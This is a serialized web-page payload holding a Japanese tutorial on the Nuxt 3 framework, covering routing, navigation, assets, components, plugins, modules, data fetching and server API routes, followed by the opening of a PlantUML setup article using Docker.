'~\u002Fpages\u002Fuser\u002F[id]\u002Fdivision\u002F[division]\u002F[divisionId].vue',\n          name: 'user-id-division-id'\n        }\n         ]\n       },\n     ]\n      }\n    ]\n  }\n]\n\n",[703,17565,17563],{"__ignoreMap":64},[11,17567,17568],{},"ユーザールートと子ルートの結果は以下になります。",[696,17570,17573],{"className":17571,"code":17572,"language":701},[699],"> pages\u002Fuser.vue\n\u003Ctemplate>\n  \u003Cp>User Page\u003C\u002Fp>\n  \u003CNuxtPage \u002F>\n\u003C\u002Ftemplate>\n\n> pages\u002Fuser\u002Findex.vue\n\u003Ctemplate>\n  \u003Cp>User Child Page\u003C\u002Fp>\n\u003C\u002Ftemplate>\n",[703,17574,17572],{"__ignoreMap":64},[530,17576],{"className":17577,"alt":64,"src":17578,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07155153\u002Frouting-nested-user-child-1024x159.png",[11,17580,17581],{},"ユーザープロフィールルートとユーザーIDのパラメーターの結果は以下になります。",[696,17583,17586],{"className":17584,"code":17585,"language":701},[699],"> pages\u002Fuser.vue (parent route)\n\n> pages\u002Fuser\u002F[id]\u002Fprofile\n\u003Ctemplate>\n  \u003Cp>User Profile Page - User ID : {{ $route.params.id }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n",[703,17587,17585],{"__ignoreMap":64},[530,17589],{"className":17590,"alt":64,"src":17591,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07155428\u002Frouting-nested-user-id-profile-1-1024x162.png",[11,17593,17594],{},"ユーザーディビジョンルートとユーザーIDのパラメーターの結果は以下になります。",[696,17596,17599],{"className":17597,"code":17598,"language":701},[699],"> pages\u002Fuser.vue (parent route)\n\n> pages\u002Fuser\u002F[id]\u002Fdivision\u002Findex.vue\n\u003Ctemplate>\n  \u003Cp>User ID : {{ $route.params.id }}\u003C\u002Fp>\n  \u003Cp>User division : {{ $route.params.division }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n",[703,17600,17598],{"__ignoreMap":64},[530,17602],{"className":17603,"alt":64,"src":17604,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07155551\u002Frouting-nested-user-id-division-1024x202.png",[11,17606,17607],{},"ユーザーディビジョンルートとユーザーIDとディビジョンIDのパラメーターの結果は以下になります。",[696,17609,17612],{"className":17610,"code":17611,"language":701},[699],"> pages\u002Fuser.vue (parent route)\n\n> pages\u002Fuser\u002F[id]\u002Fdivision\u002F[division]\u002F[divisionId].vue\n\u003Ctemplate>\n  \u003Cp>User ID : {{ $route.params.id }}\u003C\u002Fp>\n  \u003Cp>User division : {{ $route.params.division }} - Division ID : {{ $route.params.divisionId }}\u003C\u002Fp>\n\u003C\u002Ftemplate>\n",[703,17613,17611],{"__ignoreMap":64},[530,17615],{"className":17616,"alt":64,"src":17617,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07155723\u002Frouting-nested-user-id-division-divisionId-1024x195.png",[660,17619,17620],{"id":17620},"ナビゲーション",[11,17622,17623,17624],{},"これは、アプリケーション内の異なるページまたはルート間を遷移するプロセスです。 Nuxtは、",[17625,17626,17627],"nuxt-link",{},"コンポーネントを使って、href 属性を持つ \u003Ca> タグをレンダリングしてページのルートを設定することでページを連結します。",[696,17629,17632],{"className":17630,"code":17631,"language":701},[699],"> pages\u002Findex.vue\n\u003Ctemplate>\n  \u003Cdiv>\n    \u003Cp>Home Page\u003C\u002Fp>\n    \u003Cnav>\n      \u003Cul>\n        \u003Cli>\u003CNuxtLink to=\"\u002Fabout\">About\u003C\u002FNuxtLink>\u003C\u002Fli>\n        \u003Cli>\u003CNuxtLink to=\"\u002Fcategory\">Category\u003C\u002FNuxtLink>\u003C\u002Fli>\n        \u003Cli>\u003CNuxtLink to=\"\u002Fuser\">User\u003C\u002FNuxtLink>\u003C\u002Fli>\n      \u003C\u002Ful>\n    \u003C\u002Fnav>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Cstyle scoped>\na {\n  text-decoration: none;\n  line-height: 1.5em;\n  color: #0e0d0d;\n  font-weight: 600;\n}\n\u003C\u002Fstyle>\n",[703,17633,17631],{"__ignoreMap":64},[11,17635,17636],{},"「About」、「Category」、「User」の各リンクをクリックすると、それぞれで該当ページにリダイレクトします。",[530,17638],{"className":17639,"alt":64,"src":17640,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07155923\u002Fnavigation-1024x209.png",[17625,17642,17643,17644,17652,17658,17661,17674,17679,17686,17692,17697,17704,17707,17710,17716,17719,17727,17730,17736,17739,17745,17750,17756,17763,17766,17769,17773,17776,17782,17788,17794,17797,17800,17805,17808,17814,17819,17860,17865,17879,17882,17888,17896,17901,17904,17910,17913,17919,17922,17928,17931,17937,17942,17945,17951,17956,17959,17965,17970,17979,17982,17988,17991,17997,18000,18009,18012,18018,18021,18027,18030,18036,18039,18045,18049,18052,18057,18080,18085,18102,18105,18109,18121,18125,18133,18135,18141,18146],{},"\nコンポーネントを、以下の二つのオブジェクトを持つパラメーターProps「to」と使います。\n",[199,17645,17646,17649],{},[34,17647,17648],{},"name：ページ名であり、該当するルートでもある。例：pages\u002Fcategory\u002F[slug].vue → \u002Fcategory\u002F:slug ⇒ 子フォルダー間に「-」を入れる形で命名するので、category-slugになる。",[34,17650,17651],{},"params：動的ルートを使用する場合の引渡すパラメーター",[696,17653,17656],{"className":17654,"code":17655,"language":701},[699],"> pages\u002Fcategory\u002Findex.vue\n\u003Ctemplate>\n  \u003Cp>Category Page\u003C\u002Fp>\n  \u003Cnav>\n    \u003Cul v-for=\"(cate, index) in categories\" :key=\"index\">\n      \u003Cli>\n        \u003CNuxtLink :to=\"{ name: 'category-slug', params: { slug: cate } }\">\n          {{ cate }}\n        \u003C\u002FNuxtLink>\n      \u003C\u002Fli>\n    \u003C\u002Ful>\n  \u003C\u002Fnav>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\nconst categories = ['language', 'reading', 'programming', 'art', 'other'];\n\u003C\u002Fscript>\n\n\u003Cstyle scoped>\na {\n  text-decoration: none;\n  line-height: 1.5em;\n  color: #0e0d0d;\n  font-weight: 600;\n}\n\u003C\u002Fstyle>\n",[703,17657,17655],{"__ignoreMap":64},[660,17659,17660],{"id":17660},"アセット",[199,17662,17663,17669],{},[34,17664,17665,17666,17668],{},"「",[20,17667,17086],{},"」ディレクトリの内容はサーバールートで提供されます。",[34,17670,17665,17671,17673],{},[20,17672,17082],{},"」ディレクトリには、ビルドツール（Viteまたはwebpack）の処理するすべてのコンテンツが含まれています。",[11,17675,17676],{},[20,17677,17678],{},"「public\u002F」ディレクトリ",[11,17680,17681,17682,17685],{},"例えば、「",[20,17683,17684],{},"public\u002Fimg\u002F","」ディレクトリにある画像ファイルに関連して、静的なURL「\u002Fimg\u002Fnuxt.png」が利用可能です。",[696,17687,17690],{"className":17688,"code":17689,"language":701},[699],"\u003Ctemplate>\n  \u003Cimg src=\"\u002Fimg\u002Fnuxt.png\" alt=\"Discover Nuxt 3\" \u002F>\n\u003C\u002Ftemplate>\n",[703,17691,17689],{"__ignoreMap":64},[11,17693,17694],{},[20,17695,17696],{},"「assets\u002F」ディレクトリ",[4829,17698,17699],{},[11,17700,17701],{},[17438,17702,17703],{"style":17440},"Nuxtは「\u002Fassets\u002Fmy-file.png」等の静的URLで「assets\u002F」ディレクトリ内のファイルを提供しません。静的URLが必要な場合は、「public\u002F」ディレクトリを使用してください。",[11,17705,17706],{},"スタイルシートファイル（CSS、SASSなど）、フォント、またはSVGファイルを設定することができます。グローバルコマンドをNuxtコンポーネントに挿入するには、nuxt.configファイルのViteオプションを使えます。",[11,17708,17709],{},"以下の例を見てください。",[696,17711,17714],{"className":17712,"code":17713,"language":701},[699],"> assets\u002Fcss\u002Fstyles.css\na {\n  text-decoration: none;\n  line-height: 1.5em;\n  color: #0e0d0d;\n  font-weight: 600;\n}\n\n> assets\u002Fsass\u002F_colors.scss\n$primary: #49240F;\n$secondary: #E4A79D;\n\n> assets\u002Fsass\u002Fapp.scss\n@import url(\"https:\u002F\u002Ffonts.googleapis.com\u002Fcss2?family=Nunito:ital,wght@0,200;0,300;0,400;0,600;0,700;0,800;0,900;1,200;1,300;1,400;1,600;1,700;1,800;1,900&display=swap\");\nbody {\n  font-family: 'Nunito',\n}\n.btn-bg-color {\n  background-color: $primary;\n}\n\n> nuxt.config.ts\nexport default defineNuxtConfig({\n  css: [\n    '~\u002Fassets\u002Fcss\u002Fstyles.css',\n    '~\u002Fassets\u002Fsass\u002Fapp.scss',\n  ],\n  vite: {\n    css: {\n      preprocessorOptions: {\n        scss: {\n          additionalData: '@use \"@\u002Fassets\u002Fsass\u002F_colors.scss\" as *;'\n        }\n      }\n    }\n  }\n})\n",[703,17715,17713],{"__ignoreMap":64},[660,17717,17718],{"id":17718},"コンポーネント",[11,17720,17665,17721,17723,17724,17726],{},[20,17722,17095],{},"」フォルダは、ページや他のコンポーネントに取り込まれる全てのVueコンポーネントを配置する場所です。 Nuxtは、「",[20,17725,17095],{},"」ディレクトリ内のコンポーネント（使用しているモジュールによって登録されているコンポーネントも含め）を自動的にインポートします。",[11,17728,17729],{},"さらに、Nuxtには\u003C ClientOnly >、\u003C NuxtPage >、\u003C NuxtLayout >、\u003C NuxtLink >、\u003C Teleport >などの組み込みコンポーネントもあります。",[696,17731,17734],{"className":17732,"code":17733,"language":701},[699],"> components\n--| BaseHeader.vue\n--| BaseFooter.vue\n--| base\u002F\n----| html\u002F\n------| Alert.vue\n\n> layouts\u002Fdefault.vue\n\u003Ctemplate>\n  \u003Cdiv>\n    \u003CBaseHeader \u002F>\n    \u003CBaseHtmlAlert \u002F>\n    \u003Cslot \u002F>\n    \u003CBaseFooter \u002F>\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n",[703,17735,17733],{"__ignoreMap":64},[660,17737,17738],{"id":17738},"コンポーザブル",[11,17740,17741,17742,17744],{},"NuxtはuseAppConfig、useAsyncData、useCookie、useError、useFetch、useHeadなどのコンポーザブルを提供します。また、Nuxtは自動インポート機能を使って「",[20,17743,17101],{},"」ディレクトリ内のファイルを自動的にインポートします。",[660,17746,17748],{"id":17747},"プラグイン",[20,17749,17747],{},[11,17751,17752,17753,17755],{},"Nuxt は、「",[20,17754,17158],{},"」ディレクトリ内のファイルを自動的に読み取り、Vue アプリケーションの作成時にそれらをロードします。ファイル名に .server か.clientという接尾辞を使用すると、サーバー側またはクライアント側にのみプラグインをロードできます。",[4829,17757,17758],{},[11,17759,17760],{},[17438,17761,17762],{"style":17440},"「plugins\u002F」ディレクトリ内のすべてのプラグインは自動的に登録されるため、nuxt.config に個別に追加する必要はありません。",[660,17764,17765],{"id":17765},"モジュール",[11,17767,17768],{},"Nuxtは、コミュニティの開発したモジュールのリストを提供します。これにより、アプリケーションを開発する時の選択肢が多くなります。",[530,17770],{"className":17771,"alt":64,"src":17772,"style":17053},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07160511\u002Fmodules.png",[11,17774,17775],{},"アプリケーションに必要なモジュールをインストールし、nuxt.config.tsファイルで構成を設定します。",[696,17777,17780],{"className":17778,"code":17779,"language":701},[699],"export default defineNuxtConfig({\n  modules: [\n    '@vueuse\u002Fnuxt',\n    '@element-plus\u002Fnuxt',\n    'nuxt-lodash',\n    'nuxt-security',\n  ]\n})\n",[703,17781,17779],{"__ignoreMap":64},[11,17783,17784,17785,17787],{},"Nuxtは、カスタムファイルについて開始前に「",[20,17786,17137],{},"」ディレクトリをスキャンしてロードします。アプリケーション構築中に開発したローカルモジュールを配置するのに適した場所です。",[696,17789,17792],{"className":17790,"code":17791,"language":701},[699],"modules\u002F*\u002F*.ts\nmodules\u002F*.ts\n",[703,17793,17791],{"__ignoreMap":64},[660,17795,17796],{"id":17796},"データフェッチング",[11,17798,17799],{},"Nuxt 3では、useFetch、useLazyFetch、useAsyncData、useLazyAsyncData、$fetch などのブラウザまたはサーバーからデータをフェッチするためのコンポーザブルと組み込みライブラリが殆どサポートされます。",[11,17801,17802],{},[20,17803,17804],{},"useFetch",[11,17806,17807],{},"useFetchは、サーバー側（Nuxtのサーバーサイドレンダリングモードで）でレンダリングされ、Nuxtアプリケーションにデータをロードするために使われます。 useFetchは、ページ、コンポーネント、またはプラグインにも使えます。useFetchの使用方法は以下のように非常に簡単です。",[696,17809,17812],{"className":17810,"code":17811,"language":701},[699],"\u003Ctemplate>\n  \u003Cdiv>\n    Page visits: {{ count }}\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\nconst { data: count } = await useFetch('\u002Fapi\u002Fcount');\n\u003C\u002Fscript>\n",[703,17813,17811],{"__ignoreMap":64},[11,17815,17816],{},[20,17817,17818],{},"オプション",[199,17820,17821,17824,17827,17830,17833,17836,17839,17842,17845,17848,17851,17854,17857],{},[34,17822,17823],{},"method：リクエストのメソッド",[34,17825,17826],{},"query：リクエストへのクエリ追加",[34,17828,17829],{},"params：クエリの別名",[34,17831,17832],{},"body：リクエストボディ",[34,17834,17835],{},"headers：リクエストヘッダ",[34,17837,17838],{},"baseURL：ベースURL",[34,17840,17841],{},"key：キャッシュに保持するデータとリクエストの動作をコントロールする一意の値",[34,17843,17844],{},"server：サーバー上のデータフェッチの有無（デフォルトはtrue)",[34,17846,17847],{},"default：対象のデフォルト値指定",[34,17849,17850],{},"pick：対象データからのプロパティー抽出",[34,17852,17853],{},"watch：対象の変更をヒアリングしてのuseFetch再度呼出",[34,17855,17856],{},"transform：出力変換のため使用",[34,17858,17859],{},"immediate：falseに設定すると、useFetchを直ちにトリガーしなくなる（デフォルトはtrue）",[11,17861,17862],{},[20,17863,17864],{},"戻り値",[199,17866,17867,17870,17873,17876],{},[34,17868,17869],{},"data：useFetchのAPIから呼び出したデータ",[34,17871,17872],{},"pending：useFetchが引き続き呼び出されるかどうかの状態（true\u002Ffalse）",[34,17874,17875],{},"refresh\u002Fexecute：useFetchの外部で呼び出てデータをフェッチし直す関数",[34,17877,17878],{},"error：API呼び出えらー時のオブジェクトエラー",[11,17880,17881],{},"以下に、上記のオプションを使用した例を示します。",[696,17883,17886],{"className":17884,"code":17885,"language":701},[699],"const { data, pending, error, refresh } = await useFetch('https:\u002F\u002Fapi.nuxtjs.dev\u002Fmountains',{\n    pick: ['title'],\n    query: { param1, param2: 'value2' }\n})\nconst refreshData = () => refresh();\n",[703,17887,17885],{"__ignoreMap":64},[11,17889,17890,17891,17895],{},"この使用方法は、「",[57,17892,17893],{"href":17893,"rel":17894},"https:\u002F\u002Fapi.nuxtjs.dev\u002Fmountains?param1=value1&param2=value2",[61],"」というURLから返される配列の要素のタイトルを返却し、refreshData関数でuseFetchを再度呼び出すことができます。",[11,17897,17898],{},[20,17899,17900],{},"useAsyncData",[11,17902,17903],{},"useFetchでは、useFetchに引渡す長いURLが多くの場所に使用される場合、管理しにくくなります。通常はAPIディレクトリを作成し、そのディレクトリ内のファイルへの API呼出関数を作成してコンポーネントまたはページにインポートします。このやり方では、useFetchを利用できないので、代わりに、useFetchとほぼ同じuseAsyncDataを使います。",[696,17905,17908],{"className":17906,"code":17907,"language":701},[699],"\u003Ctemplate>\n  \u003Cdiv>\n        Page visits: {{ data }}\n    \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\n    const { data } = await useAsyncData('count', () => $fetch('\u002Fapi\u002Fcount'));\n\u003C\u002Fscript>\n",[703,17909,17907],{"__ignoreMap":64},[11,17911,17912],{},"例えば、以下の関数があります。",[696,17914,17917],{"className":17915,"code":17916,"language":701},[699],"export const getPosts = () => axios.get('\u002Fapi\u002Fposts');\n",[703,17918,17916],{"__ignoreMap":64},[11,17920,17921],{},"useAsyncDataを利用するには、次のように変更します。",[696,17923,17926],{"className":17924,"code":17925,"language":701},[699],"const { data } = await useAsyncData('projectSearch', () => getPosts());\n",[703,17927,17925],{"__ignoreMap":64},[11,17929,17930],{},"UseAsyncDataのオプションと戻り値はuseFetchと同じですが、useAsyncDataかuseFetchを使っても、キーを追加し、ページを切り替える時にuseAsyncDataまたはuseFetchを再度コールしたい場合にclearNuxtDataを実施する必要があります。 以下にその例を示します。",[696,17932,17935],{"className":17933,"code":17934,"language":701},[699],"\u003Cscript setup>\n    await clearNuxtData('count');\n    const { data } = await useAsyncData('count', () => $fetch('\u002Fapi\u002Fcount'));\n\u003C\u002Fscript>\n",[703,17936,17934],{"__ignoreMap":64},[11,17938,17939],{},[20,17940,17941],{},"useLazyFetch",[11,17943,17944],{},"useLazyFetchの実装仕方はuseFetchと同じ、基本的にlazyオプションがtrueと指定されたuseFetchのことです。Lazyでは、データを非同期で読み取り、Nuxtは、後ろのコードと並行してデータをロードします。 それに対して、useFetchでは、データのロードが終わったら後ろのコードを実行します。また、pendingプロパティを使うことで、データのロードが終わったかどうかを判断できます。 データのロードが終わらない時、pending = trueとなり、それ以外はpending = trueとなります。",[696,17946,17949],{"className":17947,"code":17948,"language":701},[699],"\u003Ctemplate>\n  \u003Cdiv>\n      Page visits: {{ count }}\n  \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\n    const { pending, data: count } = await useLazyFetch('\u002Fapi\u002Fcount');\n\u003C\u002Fscript>\n",[703,17950,17948],{"__ignoreMap":64},[11,17952,17953],{},[20,17954,17955],{},"useLazyAsyncData",[11,17957,17958],{},"useLazyAsyncDataはlazyオプションがtrueと指定されたuseAsyncDataのことです。実装方法はuseAsyncDataと同様です。",[696,17960,17963],{"className":17961,"code":17962,"language":701},[699],"const { pending, data: post } = await useLazyAsyncData('post', () => getPosts());\n",[703,17964,17962],{"__ignoreMap":64},[11,17966,17967],{},[20,17968,17969],{},"$fetch",[11,17971,17972,17973,17978],{},"Nuxtは、",[57,17974,17977],{"href":17975,"rel":17976},"https:\u002F\u002Fgithub.com\u002Funjs\u002Fofetch",[61],"ofetch","を使って、グローバルな可視性を$fetchヘルパーで実現して、VueアプリケーションまたはAPIルートのHTTPリクエストを作成します。",[11,17980,17981],{},"コンポーネントのデータをフェッチする時にデータを二重フェッチすることを防ぐために、useFetchまたはuseAsyncData を$fetchと一緒に使う必要があります。",[696,17983,17986],{"className":17984,"code":17985,"language":701},[699],"\u003Cscript setup>\n\u002F\u002F SSR中に、データはサーバーとクライアントの両方でフェッチされて二重フェッチとなります。\nconst dataTwice = await $fetch('\u002Fapi\u002Fitem')\n\u002F\u002F SSR中に、データはサーバーでフェッチされてから、クライアントへ送信されます。\nconst { data } = await useAsyncData('item', () => $fetch('\u002Fapi\u002Fitem'))\n\u002F\u002F useFetchはuseAsyncDataと$fetchのショートカットとして使用できます。\nconst { data } = await useFetch('\u002Fapi\u002Fitem')\n\u003C\u002Fscript>\n",[703,17987,17985],{"__ignoreMap":64},[11,17989,17990],{},"$fetchは、クライアント側でのみ実行される任意のメソッドに使用できます。",[696,17992,17995],{"className":17993,"code":17994,"language":701},[699],"\u003Ctemplate>\n  \u003Cbutton @click=\"contactForm\">Contact\u003C\u002Fbutton>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\nfunction contactForm() {\n  $fetch('\u002Fapi\u002Fcontact', {\n    method: 'POST',\n    body: { hello: 'world '}\n  })\n}\n\u003C\u002Fscript>\n",[703,17996,17994],{"__ignoreMap":64},[660,17998,17999],{"id":17176},"Server",[11,18001,18002,18003,17181,18005,17181,18007,17188],{},"Nuxtは、「",[20,18004,17180],{},[20,18006,17184],{},[20,18008,17187],{},[11,18010,18011],{},"例：\u002Fserver\u002Fapi\u002Fhello.tsで\u002Fapi\u002Fhelloルートを作成します。",[696,18013,18016],{"className":18014,"code":18015,"language":701},[699],"> server\u002Fapi\u002Fhello.ts\nexport default defineEventHandler((event) => {\n  return {\n    hello: 'world'\n  }\n})\n\n> pages\u002Fhello.vue\n\u003Ctemplate>\n  \u003Cpre>{{ data }}\u003C\u002Fpre>\n\u003C\u002Ftemplate>\n\n\u003Cscript setup>\n  const { data } = await useFetch('\u002Fapi\u002Fhello');\n\u003C\u002Fscript>\n",[703,18017,18015],{"__ignoreMap":64},[11,18019,18020],{},"処理するファイル名には、リクエストのHTTPメソッドに一致するように .get、.post、.put、.deleteといった接尾辞を付けることができます。",[696,18022,18025],{"className":18023,"code":18024,"language":701},[699],"> server\u002Fapi\u002Ftest.get.ts\nexport default defineEventHandler(() => 'Test get handler')\n\n> server\u002Fapi\u002Ftest.post.ts\nexport default defineEventHandler(() => 'Test post handler')\n",[703,18026,18024],{"__ignoreMap":64},[11,18028,18029],{},"Bodyを使ったリクエストを処理します。",[696,18031,18034],{"className":18032,"code":18033,"language":701},[699],"> server\u002Fapi\u002Fsubmit.post.ts\nexport default defineEventHandler(async (event) => {\n    const body = await readBody(event)\n    return { body }\n})\n",[703,18035,18033],{"__ignoreMap":64},[11,18037,18038],{},"クエリを使ったリクエストを処理します。",[696,18040,18043],{"className":18041,"code":18042,"language":701},[699],"> server\u002Fapi\u002Fsearch.ts\n\u002F\u002F クエリテンプレート： \u002Fapi\u002Fsearch?param1=a&param2=b\nexport default defineEventHandler((event) => {\n  const query = getQuery(event)\n  return { a: query.param1, b: query.param2 }\n})\n",[703,18044,18042],{"__ignoreMap":64},[495,18046,18047],{"id":7231},[20,18048,7231],{},[11,18050,18051],{},"Nuxtの新しいバージョンに加えて、Vue.jsコミュニティが成長していることと Vue.jsおよびNuxtを使うコミュニティが中核技術の強みに魅了されたことにより、豊富で多様な参考資料が出現します。",[11,18053,18054],{},[20,18055,18056],{},"メリット",[199,18058,18059,18062,18065,18068,18071,18074,18077],{},[34,18060,18061],{},"パフォーマンス向上",[34,18063,18064],{},"モバイルアプリケーションのパフォーマンス改善",[34,18066,18067],{},"柔軟なモジュラー型アーキテクチャ",[34,18069,18070],{},"Typescript、プラグイン、デバッグツールのサポート強化",[34,18072,18073],{},"SEO最適化",[34,18075,18076],{},"Vue 3との統合化",[34,18078,18079],{},"複雑な設定の削減",[11,18081,18082],{},[20,18083,18084],{},"デメリット",[199,18086,18087,18090,18093,18096,18099],{},[34,18088,18089],{},"初心者の場合、Vue.js基礎知識を身につけること",[34,18091,18092],{},"Nuxtの標準のフォルダ構造に従えることによって、フォルダ構造をカスタマイズしたり、外部ツールやライブラリと統合する時に困ること",[34,18094,18095],{},"Vue.jsのライブラリやプラグインの一部がNuxtとの互換性がなくて、追加設定が必要になること",[34,18097,18098],{},"Nuxtが複雑なアプリケーションの開発に適した強力なフレームワークなので、簡単なプロジェクトや単一ページアプリケーションの開発に使うと、煩雑になりコストを費やすこと",[34,18100,18101],{},"コミュニティが小さくて成長していくこと",[11,18103,18104],{},"他の流行っているレンダリングフレームワークとの比較統計↓",[530,18106],{"className":18107,"alt":64,"src":18108,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07161448\u002Fdownload-chart-nuxt-next-1024x361.png",[11,18110,18112,18113,18120],{"className":18111},[2499,2500,2501,2502,2503],"\n  (\n  ",[57,18114,18119],{"href":18115,"className":18116},"https:\u002F\u002Fnpmtrends.com\u002F",[18117,18118],"!text-yellow-400","underline","\n   https:\u002F\u002Fnpmtrends.com\u002F\n  ","\n  )\n",[530,18122],{"className":18123,"alt":64,"src":18124,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F07\u002F07161729\u002Fratio-rendering-framework-1024x470.png",[11,18126,18112,18128,18120],{"className":18127},[2499,2500,2501,2502,2503],[57,18129,18132],{"href":18130,"className":18131},"https:\u002F\u002F2022.stateofjs.com\u002F",[18117,18118],"\n    https:\u002F\u002F2022.stateofjs.com\u002F\n  ",[495,18134,55],{"id":5465},[11,18136,18137],{},[57,18138,18139],{"href":18139,"rel":18140},"https:\u002F\u002Fnuxt.com\u002F",[61],[11,18142,18143],{},[57,18144,18115],{"href":18115,"rel":18145},[61],[11,18147,18148],{},[57,18149,18130],{"href":18130,"rel":18150},[61],{"title":64,"searchDepth":65,"depth":65,"links":18152},[18153,18154,18155,18156,18157,18158,18163,18164,18177,18178],{"id":9754,"depth":65,"text":9754},{"id":16930,"depth":65,"text":16931},{"id":16988,"depth":65,"text":16988},{"id":17037,"depth":65,"text":17037},{"id":17048,"depth":65,"text":17048},{"id":17257,"depth":65,"text":17257,"children":18159},[18160,18161,18162],{"id":17260,"depth":1375,"text":17263},{"id":17275,"depth":1375,"text":17278},{"id":17284,"depth":1375,"text":17287},{"id":17317,"depth":65,"text":17318},{"id":17399,"depth":65,"text":17399,"children":18165},[18166,18167,18168,18169,18170,18171,18172,18173,18174,18175,18176],{"id":17152,"depth":1375,"text":17404},{"id":17117,"depth":1375,"text":17429},{"id":17474,"depth":1375,"text":17477},{"id":17620,"depth":1375,"text":17620},{"id":17660,"depth":1375,"text":17660},{"id":17718,"depth":1375,"text":17718},{"id":17738,"depth":1375,"text":17738},{"id":17747,"depth":1375,"text":17747},{"id":17765,"depth":1375,"text":17765},{"id":17796,"depth":1375,"text":17796},{"id":17176,"depth":1375,"text":17999},{"id":7231,"depth":65,"text":7231},{"id":5465,"depth":65,"text":55},"HIEU NGUYEN TRUNG","2024-02-07","はじめに Nuxtは、Vue.jsに基づく公開ソースのJavaScriptフレームワークの一つです。現時点で最新バージョンはNuxt 3です。Nuxt 3はVite、Vue 3とNitroに基づき、TypescriptのサポートでNuxtフレームワークからアップグレードされたバージョンです。Nuxtは、CSR、ISR、ESR、SWRといった方法に加えてサーバーサイドレンダリングというServer Side Rendering（SSRと略す）と静的サイトジェネレーターというStatic Site Generator（SSGと略す）の方法でウェブアプリケーションの開発を簡素化できます。Nuxt は、Vue.jsアプリケーションを構築するため規約ベースで構成されたアプローチの手段を提供し、開発者が複雑な構成を処理する代わりにに機能の開発に集中できるようにします。",{},"\u002Fja\u002Fnews\u002Fnuxt-the-intuitive-web-framework",{"title":16917,"description":18181},"ja\u002Fnews\u002Fnuxt-the-intuitive-web-framework","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F05\u002F28095600\u002Fnuxt-logo-png_seeklogo-460579.png","N4C_nPZ2Iac4xfrXBonCUshvlb6Lh4iyI35NNB1SEiM",{"id":18189,"title":18190,"body":18191,"category":1388,"created by":68,"date":18414,"description":18415,"extension":71,"meta":18416,"navigation":73,"path":18417,"sections":75,"seo":18418,"stem":18419,"thumbnail":18420,"__hash__":18421},"content_ja\u002Fja\u002Fnews\u002Fplantuml.md","PlantUML- コードでUML図を書く",{"type":8,"value":18192,"toc":18399},[18193,18197,18200,18203,18206,18209,18213,18216,18224,18227,18235,18239,18243,18246,18249,18261,18263,18266,18269,18275,18278,18282,18285,18289,18292,18295,18298,18301,18304,18308,18311,18326,18329,18335,18339,18348,18351,18354,18357,18360,18363,18366,18375,18378,18380,18387,18394],[495,18194,18196],{"id":18195},"plantumlについて","PlantUMLについて",[11,18198,18199],{},"ウォータフロー、アジャイルを問わずソフトウェア開発においてUML図を用いて要件や構成、機能の説明を行うことは多々あります。",[11,18201,18202],{},"ただ、図を用いたドキュメントはテキストエディタではなく、描画用のアプリケーションを用いられることが多く、バージョン毎の差異がわかりにくいといったことがあります。",[11,18204,18205],{},"PlantUMLを使うとコードベースで作成でき、それを元に図を作成するため差分がわかりやすく、バージョン管理を行いやすいと思われます。",[495,18207,18208],{"id":18208},"ローカル環境構築",[660,18210,18212],{"id":18211},"plantumlをローカルホストで起動","PlantUMLをローカルホストで起動",[11,18214,18215],{},"Dockerを使った簡単な導入方法を説明します。",[11,18217,18218,18219,18223],{},"1. Dockerをインストールし、Dockerを起動します。（Dockerのインストール方法は",[57,18220,1231],{"href":18221,"rel":18222},"https:\u002F\u002Fbriswell-vn.com\u002Fen\u002Fnews\u002Flaunch-with-docker\u002F",[61],"を参考にしてください。）",[11,18225,18226],{},"2. \"docker run -d -p 8080:8080 plantuml\u002Fplantuml-server:jetty\"のコマンドを実行し、plantumlUMLのDocker containerを起動してください。",[11,18228,18229,18230],{},"3. ブラウザで\"",[57,18231,18234],{"href":18232,"rel":18233},"http:\u002F\u002Flocalhost:8080\u002F%22%E3%81%AB%E3%82%A2%E3%82%AF%E3%82%BB%E3%82%B9%E3%81%97%E3%80%81%E4%B8%8B%E8%A8%98%E3%81%AE%E3%82%88%E3%81%86%E3%81%AB%E8%A1%A8%E7%A4%BA%E3%81%95%E3%82%8C%E3%82%8B%E3%81%A8%E6%88%90%E5%8A%9F%E3%81%A7%E3%81%99%E3%80%82",[61],"http:\u002F\u002Flocalhost:8080\u002F\"にアクセスし、下記のように表示されると成功です。",[530,18236],{"className":18237,"alt":64,"src":18238,"style":601},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2021\u002F11\u002F02172640\u002Fimage-20211029173703751-768x314.png",[660,18240,18242],{"id":18241},"vscodeの設定","VScodeの設定",[11,18244,18245],{},"1. 